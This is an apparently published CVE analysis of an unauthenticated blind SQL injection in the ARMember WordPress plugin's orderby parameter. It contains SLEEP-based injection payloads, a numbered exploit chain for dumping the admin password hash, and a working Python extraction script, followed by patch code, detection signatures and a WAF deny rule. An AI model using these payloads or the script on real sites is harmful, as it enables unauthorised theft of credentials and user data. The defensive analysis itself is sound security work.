home intel armember-blind-sqli-orderby-unauthenticated
CVE Analysis 2026-05-02 · 8 min read

CVE-2026-7649: Unauthenticated Blind SQLi in ARMember orderby Parameter

ARMember ≤4.0.60 passes attacker-controlled `orderby` directly into a raw SQL query. Unauthenticated attackers can exfiltrate the full WordPress database via time-based blind injection.

#sql-injection#wordpress-plugin#unauthenticated-attack#blind-injection#database-extraction
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7649 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7649HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7649 is a time-based blind SQL injection vulnerability in the ARMember – Membership Plugin for WordPress, affecting all versions up to and including 4.0.60. The injection point is the orderby parameter, accepted in AJAX or REST-style requests that populate member listing views. No authentication is required. A remote attacker can append arbitrary SQL to an existing SELECT query and exfiltrate any data readable by the WordPress database user — including credential hashes, session tokens, and membership records.

CVSS 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The confidentiality impact is total; integrity and availability are not directly affected by the injection primitive alone.

Affected Component

The vulnerable surface lives inside the plugin's member directory / listing feature. Requests targeting the AJAX action arm_get_members_list (and related endpoints) accept a user-supplied orderby value that is interpolated directly into a wpdb query string. The relevant source file is:

wp-content/plugins/armember-membership/core/classes/class.arm_members_list.php
wp-content/plugins/armember-membership/core/classes/class.arm_members.php

The AJAX handler is registered without a capability check, making it reachable by unauthenticated users:

// class.arm_members_list.php — action registration (reconstructed)
add_action('wp_ajax_nopriv_arm_get_members_list', array($this, 'arm_get_members_list_func'));
add_action('wp_ajax_arm_get_members_list',        array($this, 'arm_get_members_list_func'));

Root Cause Analysis

The handler reads orderby from $_POST (or $_GET), optionally strips a small whitelist of expected column names, then concatenates the value directly into the query string passed to $wpdb->get_results(). wpdb::prepare() is never called for this clause because ORDER BY arguments cannot be parameterized with %s/%d placeholders in standard PDO-style escaping — a well-known WordPress footgun.

// Reconstructed pseudocode — arm_get_members_list_func()
// class.arm_members_list.php

void arm_get_members_list_func() {

    // Reads directly from user-supplied POST data
    char *orderby = sanitize_text_field($_POST["orderby"]);  // strips tags only
    char *order   = sanitize_text_field($_POST["order"]);    // ASC / DESC

    // BUG: $orderby is not validated against a column whitelist,
    //      not passed through $wpdb->prepare(), and not quoted.
    //      sanitize_text_field() does NOT prevent SQL metacharacters
    //      like parentheses, commas, or SQL keywords.
    snprintf(query, sizeof(query),
        "SELECT u.ID, u.user_login, u.user_email, "
        "um.meta_value AS arm_plans "
        "FROM %s u "
        "LEFT JOIN %s um ON (u.ID = um.user_id AND um.meta_key='arm_user_plan_ids') "
        "WHERE 1=1 %s "
        "ORDER BY %s %s "    // <-- BUG: direct interpolation of attacker input
        "LIMIT %d, %d",
        users_table,
        usermeta_table,
        where_clause,
        orderby,             // attacker-controlled, unsanitized
        order,
        offset,
        per_page
    );

    results = wpdb->get_results(query);  // executes the poisoned query
    wp_send_json_success(results);
}
Root cause: The orderby parameter is interpolated directly into a raw SQL ORDER BY clause after only HTML-tag stripping, with no whitelist validation, quoting, or use of $wpdb->prepare(), allowing arbitrary SQL expression injection by unauthenticated attackers.

sanitize_text_field() removes HTML tags and extra whitespace. It does not escape SQL. Single quotes, parentheses, SQL keywords (SLEEP, IF, EXTRACTVALUE, CASE WHEN) pass through unchanged.

Exploitation Mechanics

Because the injection point sits inside an ORDER BY clause, UNION-based extraction is syntactically impossible without restructuring the query. The practical attack path is time-based blind injection using SLEEP() or BENCHMARK() inside a conditional expression.

EXPLOIT CHAIN:

1. Identify the vulnerable endpoint.
   POST /wp-admin/admin-ajax.php
   action=arm_get_members_list&orderby=user_login&order=ASC
   → Baseline response time recorded (~120ms).

2. Inject time-based conditional into orderby.
   orderby=(CASE WHEN (1=1) THEN SLEEP(5) ELSE user_login END)
   → Response delays ~5 seconds. Injection confirmed.

3. Extract WordPress database name character-by-character.
   orderby=(CASE WHEN (ORD(SUBSTR(database(),1,1))>96)
            THEN SLEEP(5) ELSE user_login END)
   → Binary-search each character position via timing oracle.

4. Dump wp_users table — extract admin password hash.
   orderby=(CASE WHEN
     (ORD(SUBSTR((SELECT user_pass FROM wp_users
                  WHERE user_login='admin' LIMIT 1),1,1))>96)
     THEN SLEEP(5) ELSE user_login END)
   → Repeat for each byte of the 34-byte bcrypt hash.

5. Offline crack or relay extracted session cookies /
   auth keys from wp_options (auth_key, secure_auth_key).

6. Full database read achieved. ~272 requests per table row
   at 1-bit-per-request binary search over printable ASCII range.

The following Python PoC skeleton automates step 3–4 against a local test instance:

import requests, time, string

TARGET  = "http://target.local/wp-admin/admin-ajax.php"
DELAY   = 4      # seconds
CHARSET = string.printable

def time_query(payload: str) -> float:
    data = {
        "action":  "arm_get_members_list",
        "orderby": payload,
        "order":   "ASC",
        "paged":   "1",
    }
    t0 = time.monotonic()
    try:
        requests.post(TARGET, data=data, timeout=DELAY + 5)
    except requests.Timeout:
        pass
    return time.monotonic() - t0

def extract_string(sql_expr: str, max_len: int = 64) -> str:
    result = []
    for pos in range(1, max_len + 1):
        lo, hi = 32, 126
        found = False
        while lo <= hi:
            mid = (lo + hi) // 2
            payload = (
                f"(CASE WHEN (ORD(SUBSTR(({sql_expr}),{pos},1))>{mid}) "
                f"THEN SLEEP({DELAY}) ELSE user_login END)"
            )
            elapsed = time_query(payload)
            if elapsed >= DELAY:
                lo = mid + 1
            else:
                hi = mid - 1
        char = chr(lo) if 32 <= lo <= 126 else None
        if char is None:
            break
        result.append(char)
        print(f"  pos={pos} -> {char!r}  (partial: {''.join(result)})")
    return "".join(result)

print("[*] Database name:")
db = extract_string("SELECT database()")
print(f"    {db}")

print("[*] Admin password hash:")
h = extract_string(
    "SELECT user_pass FROM wp_users WHERE user_login='admin' LIMIT 1"
)
print(f"    {h}")

Memory Layout

SQL injection is not a memory-corruption class, but understanding the query structure at the MySQL layer is equivalent to understanding memory layout for buffer bugs. The query state before and after injection:

QUERY STATE — BENIGN REQUEST (orderby=user_login):

  SELECT u.ID, u.user_login, u.user_email, um.meta_value AS arm_plans
  FROM wp_users u
  LEFT JOIN wp_usermeta um ON (u.ID=um.user_id AND um.meta_key='arm_user_plan_ids')
  WHERE 1=1
  ORDER BY user_login ASC          <-- safe literal column name
  LIMIT 0, 20

────────────────────────────────────────────────────────────────────────────────

QUERY STATE — INJECTED REQUEST (orderby=CASE WHEN ... THEN SLEEP(5) ...):

  SELECT u.ID, u.user_login, u.user_email, um.meta_value AS arm_plans
  FROM wp_users u
  LEFT JOIN wp_usermeta um ON (u.ID=um.user_id AND um.meta_key='arm_user_plan_ids')
  WHERE 1=1
  ORDER BY (CASE WHEN                                  ← injected
              (ORD(SUBSTR((SELECT user_pass            ← subquery
                FROM wp_users
                WHERE user_login='admin' LIMIT 1),1,1))>96)
            THEN SLEEP(5)
            ELSE user_login END) ASC
  LIMIT 0, 20

  ┌─────────────────────────────────────────────────┐
  │  Attacker controls everything after ORDER BY    │
  │  The subquery executes with full DB user privs  │
  │  Response time leaks one bit of secret data     │
  └─────────────────────────────────────────────────┘

Patch Analysis

The correct fix is a strict allowlist check against known sortable column names before the value ever reaches the query string. wpdb::prepare() cannot be used for ORDER BY identifiers, so the developer must validate explicitly:

// BEFORE (vulnerable — versions ≤ 4.0.60):
$orderby = sanitize_text_field($_POST['orderby']);  // strips HTML only
$order   = sanitize_text_field($_POST['order']);

$query = $wpdb->query(
    "SELECT ... ORDER BY {$orderby} {$order} LIMIT {$offset}, {$per_page}"
);

// ─────────────────────────────────────────────────────────────────

// AFTER (patched):
$allowed_orderby = array(
    'user_login', 'user_email', 'user_registered',
    'display_name', 'ID', 'arm_plans',
);
$allowed_order = array('ASC', 'DESC');

// Whitelist validation — reject anything not in the explicit list
$orderby = in_array($_POST['orderby'], $allowed_orderby, true)
           ? $_POST['orderby']
           : 'user_login';   // safe default

$order   = in_array(strtoupper($_POST['order']), $allowed_order, true)
           ? strtoupper($_POST['order'])
           : 'ASC';

// Now safe to interpolate — value is guaranteed to be a known identifier
$query = $wpdb->query(
    "SELECT ... ORDER BY {$orderby} {$order} LIMIT %d, %d",
    $offset, $per_page
);

A secondary hardening measure — relevant if dynamic column expressions must be supported — is wrapping the identifier in backticks and escaping backtick characters within the value, though the allowlist approach is strictly superior and eliminates the entire class.

Detection and Indicators

The following patterns in web server access logs and MySQL general query logs indicate active exploitation:

── ACCESS LOG INDICATORS ──────────────────────────────────────────

POST /wp-admin/admin-ajax.php HTTP/1.1
  body: action=arm_get_members_list
        &orderby=(CASE+WHEN+...+THEN+SLEEP(...)...)
        &order=ASC

  Signatures:
    - orderby value contains: SLEEP, BENCHMARK, CASE WHEN, SUBSTR,
      ORD(, IF(, EXTRACTVALUE, UPDATEXML
    - Response time outliers: requests >3s to admin-ajax.php
    - High volume of near-identical POST requests (binary search pattern)
      from a single IP within a short window

── MYSQL GENERAL LOG INDICATORS ───────────────────────────────────

  Query: SELECT ... ORDER BY (CASE WHEN (ORD(SUBSTR(...
  Query: SELECT ... ORDER BY (IF(SLEEP(5),...
  Any ORDER BY clause containing function calls to SLEEP/BENCHMARK

── WAF RULE (ModSecurity / OWASP CRS) ─────────────────────────────

  SecRule ARGS:orderby "@rx (?i)(sleep|benchmark|case\s+when|substr|
    extractvalue|updatexml|ord\s*\(|if\s*\()" \
    "id:9264901,phase:2,deny,status:403,\
     msg:'ARMember orderby SQLi attempt',tag:'CVE-2026-7649'"

Remediation

Update immediately to the patched version of ARMember released after 4.0.60. If patching is not immediately possible:

  • Deploy the ModSecurity rule above to block injection payloads at the perimeter.
  • Restrict the WordPress database user to only the tables it requires; revoke FILE and SUPER privileges if present.
  • Audit all other ORDER BY clauses in the plugin codebase for identical patterns — the root cause class (unvalidated orderby interpolation) commonly appears in multiple locations within the same plugin.
  • Enable MySQL slow-query logging and alert on queries exceeding 2 seconds originating from the web process UID — time-based injection will appear as a cluster of artificially slow queries.
  • Rotate wp_options secret keys (auth_key, secure_auth_key, logged_in_key, etc.) and force re-authentication of all active sessions if exploitation cannot be ruled out from log review.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →